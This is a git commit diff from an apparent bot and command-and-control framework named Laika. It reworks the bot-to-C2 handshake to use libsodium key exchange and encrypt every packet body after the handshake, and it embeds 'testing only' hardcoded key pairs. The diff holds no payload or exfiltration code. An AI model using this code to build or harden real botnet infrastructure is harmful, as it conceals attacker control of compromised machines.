Key exchange refactoring!

- LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled
2024-11-21 12:40:04 +00:00 · 2022-02-03 16:25:49 -06:00 · 2022-02-03 16:25:49 -06:00 · dd173ee422
commit dd173ee422
parent 310a751a07
12 changed files with 162 additions and 97 deletions
--- a/bot/include/bot.h
+++ b/bot/include/bot.h
@ -9,7 +9,7 @@
 #include "lrsa.h"

 struct sLaika_bot {
-    uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE];
+    uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
    struct sLaika_pollList pList;
    struct sLaika_peer *peer;
 };
--- a/bot/src/bot.c
+++ b/bot/src/bot.c
@ -4,23 +4,15 @@
 #include "bot.h"

 LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
-    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE)
+    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
 };

 void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
-    uint8_t nonce[LAIKA_NONCESIZE];
    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
    uint8_t endianness = laikaS_readByte(&peer->sock);

-    /* read & decrypt nonce */
-    laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv);
-
-    /* check nonce */
-    if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
-        LAIKA_ERROR("mismatched nonce!\n");
-
    peer->sock.flipEndian = endianness != laikaS_isBigEndian();
-    LAIKA_DEBUG("handshake accepted by cnc!\n")
+    LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"))
 }

 PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
@ -38,7 +30,6 @@ struct sLaika_bot *laikaB_newBot(void) {
        &bot->pList,
        (void*)bot
    );
-    laikaS_setKeys(bot->peer, bot->priv, bot->pub);

    /* generate keypair */
    if (sodium_init() < 0) {
@ -46,19 +37,17 @@ struct sLaika_bot *laikaB_newBot(void) {
        LAIKA_ERROR("LibSodium failed to initialize!\n");
    }

-    if (crypto_box_keypair(bot->pub, bot->priv) != 0) {
+    if (crypto_kx_keypair(bot->pub, bot->priv) != 0) {
        laikaB_freeBot(bot);
        LAIKA_ERROR("Failed to gen keypair!\n");
    }

    /* read cnc's public key into peerPub */
-    if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
+    if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
        laikaB_freeBot(bot);
        LAIKA_ERROR("Failed to init cnc public key!\n");
    }

-    /* gen nonce test */
-    randombytes_buf(bot->nonce, LAIKA_NONCESIZE);
    return bot;
 }

@ -78,13 +67,16 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
    laikaP_addSock(&bot->pList, sock);

    /* queue handshake request */
-    laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
+    laikaS_startOutPacket(sock, LAIKAPKT_HANDSHAKE_REQ);
    laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
    laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
    laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
-    laikaS_writeByte(sock, PEER_BOT);
-    laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */
    laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
+    laikaS_endOutPacket(sock); /* force packet body to be plaintext */
+    laikaS_setSecure(sock, true); /* after the cnc receives our handshake, our packets will be encrypted */
+
+    if (crypto_kx_client_session_keys(bot->peer->sock.inKey, bot->peer->sock.outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
+        LAIKA_ERROR("failed to gen session key!\n")

    if (!laikaS_handlePeerOut(bot->peer))
        LAIKA_ERROR("failed to send handshake request!\n")
--- a/cnc/include/cnc.h
+++ b/cnc/include/cnc.h
@ -8,7 +8,7 @@
 #include "lpeer.h"

 struct sLaika_cnc {
-    uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES];
+    uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
    struct sLaika_socket sock;
    struct sLaika_pollList pList;
 };
--- a/cnc/src/cnc.c
+++ b/cnc/src/cnc.c
@ -6,35 +6,38 @@
 #include "cnc.h"

 LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
-    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES
+    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES
 };

 void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
    char magicBuf[LAIKA_MAGICLEN];
-    uint8_t nonce[LAIKA_NONCESIZE];
    struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
    uint8_t major, minor;

    laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
    major = laikaS_readByte(&peer->sock);
    minor = laikaS_readByte(&peer->sock);
-    peer->type = laikaS_readByte(&peer->sock);
+    peer->type = PEER_BOT;

    if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
        || major != LAIKA_VERSION_MAJOR
        || minor != LAIKA_VERSION_MINOR)
        LAIKA_ERROR("invalid handshake request!\n");

-    /* read & decrypt nonce */
-    laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, cnc->pub, cnc->priv);
-
    /* read peer's public key */
    laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));

+    /* gen session keys */
+    if (crypto_kx_server_session_keys(peer->sock.inKey, peer->sock.outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
+        LAIKA_ERROR("failed to gen session key!\n")
+
+    /* encrypt all future packets */
+    laikaS_setSecure(&peer->sock, true);
+
    /* queue response */
-    laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
+    laikaS_startOutPacket(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
    laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
-    laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */
+    laikaS_endOutPacket(&peer->sock);

    LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
 }
@ -64,12 +67,12 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {

    /* load keys */
    LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
-    if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
+    if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("Failed to init cnc public key!\n");
    }

-    if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
+    if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
        laikaC_freeCNC(cnc);
        LAIKA_ERROR("Failed to init cnc private key!\n");
    }
@ -110,7 +113,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
                &cnc->pList,
                (void*)cnc
            );
-            laikaS_setKeys(peer, cnc->priv, cnc->pub);

            /* setup and accept new peer */
            laikaS_acceptFrom(&peer->sock, &cnc->sock);
--- a/lib/CMakeLists.txt
+++ b/lib/CMakeLists.txt
@ -4,11 +4,11 @@ set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)

 # DO NOT USE THESE KEYS, TESTING ONLY
 if(NOT LAIKA_PUBKEY)
-    set(LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814")
+    set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
 endif ()

 if(NOT LAIKA_PRIVKEY)
-set(LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841")
+set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
 endif ()

 # version details
--- a/lib/include/lconfig.h
+++ b/lib/include/lconfig.h
@ -6,8 +6,7 @@
 #define LAIKA_VERSION_MINOR 0

 /* keys */
-#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
-#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
-
+#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
+#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"

 #endif
--- a/lib/include/lpacket.h
+++ b/lib/include/lpacket.h
@ -6,7 +6,14 @@

 #define LAIKA_MAX_PKTSIZE 4096

-#define LAIKA_NONCESIZE 16
+/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
+
+/* first handshake between peer & cnc works as so:
+    - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey
+    - after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
+    - cnc responds with LAIKAPKT_HANDSHAKE_RES
+    - if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
+*/

 enum {
    LAIKAPKT_HANDSHAKE_REQ,
@ -14,22 +21,21 @@ enum {
    *   uint8_t laikaMagic[LAIKA_MAGICLEN];
    *   uint8_t majorVer;
    *   uint8_t minorVer;
-    *   uint8_t peerType;
-    *   uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey
-    *   uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
+    *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
    */
    LAIKAPKT_HANDSHAKE_RES,
    /* layout of LAIKAPKT_HANDSHAKE_RES:
    *   uint8_t endian;
-    *   uint8_t reEncryptedNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt
    */
-    LAIKAPKT_VARPKT_REQ,
+    //LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
+    /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
+    *   uint8_t peerType;
+    */
+    //LAIKAPKT_VARPKT_REQ,
    /* layout of LAIKAPKT_VARPKT_REQ:
    *   uint8_t pktID;
    *   uint16_t pktSize;
    */
-    LAIKAPKT_CHALLENGE_REQ,
-    LAIKAPKT_CHALLENGE_RES,
    LAIKAPKT_MAXNONE
 };

--- a/lib/include/lpeer.h
+++ b/lib/include/lpeer.h
@ -19,12 +19,10 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void

 struct sLaika_peer {
    struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
-    uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
+    uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
    struct sLaika_pollList *pList; /* pollList we're active in */
    PeerPktHandler *handlers;
    LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
-    uint8_t *priv; /* key to decrypt incoming packets */
-    uint8_t *pub; /* pub key matching to priv */
    void *uData; /* data to be passed to pktHandler */
    LAIKAPKT_SIZE pktSize; /* current pkt size */
    LAIKAPKT_ID pktID; /* current pkt ID */
@ -35,8 +33,6 @@ struct sLaika_peer {
 struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
 void laikaS_freePeer(struct sLaika_peer *peer);

-void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
-
 bool laikaS_handlePeerIn(struct sLaika_peer *peer);
 bool laikaS_handlePeerOut(struct sLaika_peer *peer);

--- a/lib/include/lsocket.h
+++ b/lib/include/lsocket.h
@ -51,6 +51,8 @@
 #endif
 #include <fcntl.h>

+#include "lrsa.h"
+
 typedef enum {
    RAWSOCK_OK,
    RAWSOCK_ERROR,
@ -61,12 +63,16 @@ typedef enum {
 struct sLaika_socket {
    uint8_t *outBuf; /* raw data to be sent() */
    uint8_t *inBuf; /* raw data we recv()'d */
+    uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
    SOCKET sock; /* raw socket fd */
    int outCount;
    int inCount;
    int outCap;
    int inCap;
+    int outStart; /* index of pktID for out packet */
+    int inStart; /* index of pktID for in packet */
    bool flipEndian;
+    bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */
 };

 #define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
@ -84,10 +90,15 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por
 void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
 bool laikaS_setNonBlock(struct sLaika_socket *sock);

+void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id);
+int laikaS_endOutPacket(struct sLaika_socket *sock);
+void laikaS_startInPacket(struct sLaika_socket *sock);
+int laikaS_endInPacket(struct sLaika_socket *sock);
+void laikaS_setSecure(struct sLaika_socket *sock, bool flag);
 void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
 void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
-void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf */
-void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf */
+void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
+void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
 void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
 uint8_t laikaS_readByte(struct sLaika_socket *sock);
 void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
--- a/lib/src/lpeer.c
+++ b/lib/src/lpeer.c
@ -10,8 +10,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
    peer->pktSizeTable = pktSizeTable;
    peer->pList = pList;
    peer->uData = uData;
-    peer->priv = NULL;
-    peer->pub = NULL;
    peer->pktSize = 0;
    peer->type = PEER_UNVERIFIED;
    peer->pktID = LAIKAPKT_MAXNONE;
@ -19,11 +17,6 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
    return peer;
 }

-void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) {
-    peer->priv = priv;
-    peer->pub = pub;
-}
-
 void laikaS_freePeer(struct sLaika_peer *peer) {
    laikaS_cleanSocket(&peer->sock);
    laikaM_free(peer);
@ -40,6 +33,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
                return false;

            peer->pktID = laikaS_readByte(&peer->sock);
+            laikaS_startInPacket(&peer->sock);

            /* sanity check packet ID */
            if (peer->pktID >= LAIKAPKT_MAXNONE)
@ -50,28 +44,32 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
            if (peer->pktSize == 0)
                LAIKA_ERROR("unsupported packet!\n")

-            break;
-        case LAIKAPKT_VARPKT_REQ:
-            /* try grabbing pktID & size */
-            if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
-                return false;
+            /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
+            if (peer->sock.useSecure)
+                peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;

-            if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
-                LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
+            break;
+        //case LAIKAPKT_VARPKT_REQ:
+            /* try grabbing pktID & size */
+        //    if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
+        //        return false;
+
+        //    if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
+        //        LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")

            /* read pktID */
-            peer->pktID = laikaS_readByte(&peer->sock);
+        //    peer->pktID = laikaS_readByte(&peer->sock);

            /* sanity check pktID, (check valid range, check it's variadic) */
-            if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID])
-                LAIKA_ERROR("received evil pktID!\n")
+        //    if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID])
+        //        LAIKA_ERROR("received evil pktID!\n")

            /* try reading new packet size */
-            laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
+        //    laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));

-            if (peer->pktSize > LAIKA_MAX_PKTSIZE)
-                LAIKA_ERROR("variable packet too large!")
-            break;
+        //    if (peer->pktSize > LAIKA_MAX_PKTSIZE)
+        //        LAIKA_ERROR("variable packet too large!")
+        //    break;
        default:
            /* try grabbing the rest of the packet */
            if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
@ -80,9 +78,10 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
            /* have we received the full packet? */
            if (peer->pktSize == peer->sock.inCount) {
                PeerPktHandler hndlr = peer->handlers[peer->pktID];
+                peer->pktSize = laikaS_endInPacket(&peer->sock);

                if (hndlr != NULL) {
-                    hndlr(peer, peer->pktID, peer->uData); /* dispatch to packet handler */
+                    hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */
                } else
                    LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID); 

--- a/lib/src/lsocket.c
+++ b/lib/src/lsocket.c
@ -5,6 +5,7 @@
 #include "lpolllist.h"
 #include "lrsa.h"
 #include "lsocket.h"
+#include "lpacket.h"

 static int _LNSetup = 0;

@ -46,7 +47,10 @@ void laikaS_initSocket(struct sLaika_socket *sock) {
    sock->outBuf = NULL;
    sock->outCap = ARRAY_START;
    sock->outCount = 0;
+    sock->inStart = -1;
+    sock->outStart = -1;
    sock->flipEndian = false;
+    sock->useSecure = false;

    laikaS_init();
 }
@ -171,6 +175,79 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
    return true;
 }

+void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id) {
+    if (sock->outStart != -1) { /* sanity check */
+        LAIKA_ERROR("unended OUT packet!\n")
+    }
+    laikaS_writeByte(sock, id);
+
+    sock->outStart = sock->outCount;
+    if (sock->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
+        uint8_t nonce[crypto_secretbox_NONCEBYTES];
+        randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
+        laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
+    }
+}
+
+int laikaS_endOutPacket(struct sLaika_socket *sock) {
+    uint8_t *body;
+    size_t sz;
+
+    if (sock->useSecure) {
+        /* make sure we have enough space */
+        laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
+
+        /* packet body starts after the id & nonce */
+        body = &sock->outBuf[sock->outStart + crypto_secretbox_NONCEBYTES];
+        /* encrypt packet body in-place */
+        if (crypto_secretbox_easy(body, body, (sock->outCount - sock->outStart) - crypto_secretbox_NONCEBYTES,
+                &sock->outBuf[sock->outStart], sock->outKey) != 0) {
+            LAIKA_ERROR("Failed to encrypt packet!\n")
+        }
+
+        sock->outCount += crypto_secretbox_MACBYTES;
+    }
+
+    sz = sock->outCount - sock->outStart;
+    sock->outStart = -1;
+    return sz;
+}
+
+void laikaS_startInPacket(struct sLaika_socket *sock) {
+    if (sock->inStart != -1) { /* sanity check */
+        LAIKA_ERROR("unended IN packet!\n")
+    }
+
+    sock->inStart = sock->inCount;
+}
+
+int laikaS_endInPacket(struct sLaika_socket *sock) {
+    uint8_t *body;
+    size_t sz = sock->inCount - sock->inStart;
+
+    if (sock->useSecure) {
+        body = &sock->inBuf[sock->inStart + crypto_secretbox_NONCEBYTES];
+
+        /* decrypt packet body in-place */
+        if (crypto_secretbox_open_easy(body, body, (sock->inCount - sock->inStart) - crypto_secretbox_NONCEBYTES,
+                &sock->inBuf[sock->inStart], sock->inKey) != 0) {
+            LAIKA_ERROR("Failed to decrypt packet!\n")
+        }
+
+        /* remove nonce */
+        laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES);
+
+        sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
+    }
+
+    sock->inStart = -1;
+    return sz;
+}
+
+void laikaS_setSecure(struct sLaika_socket *sock, bool flag) {
+    sock->useSecure = flag;
+}
+
 void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
    memcpy(buf, sock->inBuf, sz);
    laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
@ -178,14 +255,14 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {

 void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
    /* make sure we have enough space to copy the buffer */
-    laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\
+    laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);

    /* copy the buffer, then increment outCount */
    memcpy(&sock->outBuf[sock->outCount], buf, sz);
    sock->outCount += sz;
 }

-void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
+void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
    /* make sure we have enough space to encrypt the buffer */
    laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);

@ -196,7 +273,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *
    sock->outCount += LAIKAENC_SIZE(sz);
 }

-void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
+void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
    /* decrypt into buf */
    if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
        LAIKA_ERROR("Failed to decrypt!\n");
--- a/tools/genkey/src/main.c
+++ b/tools/genkey/src/main.c
@ -4,39 +4,22 @@
 #include "lerror.h"
 #include "lrsa.h"

-#define DATA "Encryption/Decryption test passed!\n"
-#define DATALEN 36
-#define CIPHERLEN crypto_box_SEALBYTES + DATALEN
-
 int main(int argv, char **argc) {
-    unsigned char priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES];
+    unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
    char buf[256];
-    unsigned char enc[CIPHERLEN];
-    unsigned char dec[DATALEN];

    if (sodium_init() < 0) {
        printf("Libsodium failed to init!\n");
        return 1;
    }

-    crypto_box_keypair(pub, priv);
+    crypto_kx_keypair(pub, priv);

    printf("[~] Generated keypair!\n");
-    sodium_bin2hex(buf, 256, pub, crypto_box_PUBLICKEYBYTES);
+    sodium_bin2hex(buf, 256, pub, crypto_kx_PUBLICKEYBYTES);
    printf("[~] public key: %s\n", buf);
-    sodium_bin2hex(buf, 256, priv, crypto_box_SECRETKEYBYTES);
+    sodium_bin2hex(buf, 256, priv, crypto_kx_SECRETKEYBYTES);
    printf("[~] private key: %s\n\n", buf);

-    if (crypto_box_seal(enc, DATA, DATALEN, pub) != 0) {
-        printf("Failed to encrypt!\n");
-        return 1;
-    }
-
-    if (crypto_box_seal_open(dec, enc, CIPHERLEN, pub, priv) != 0) {
-        printf("Failed to decrypt!\n");
-        return 1;
-    }
-
-    printf("%s", dec);
    return 0;
 }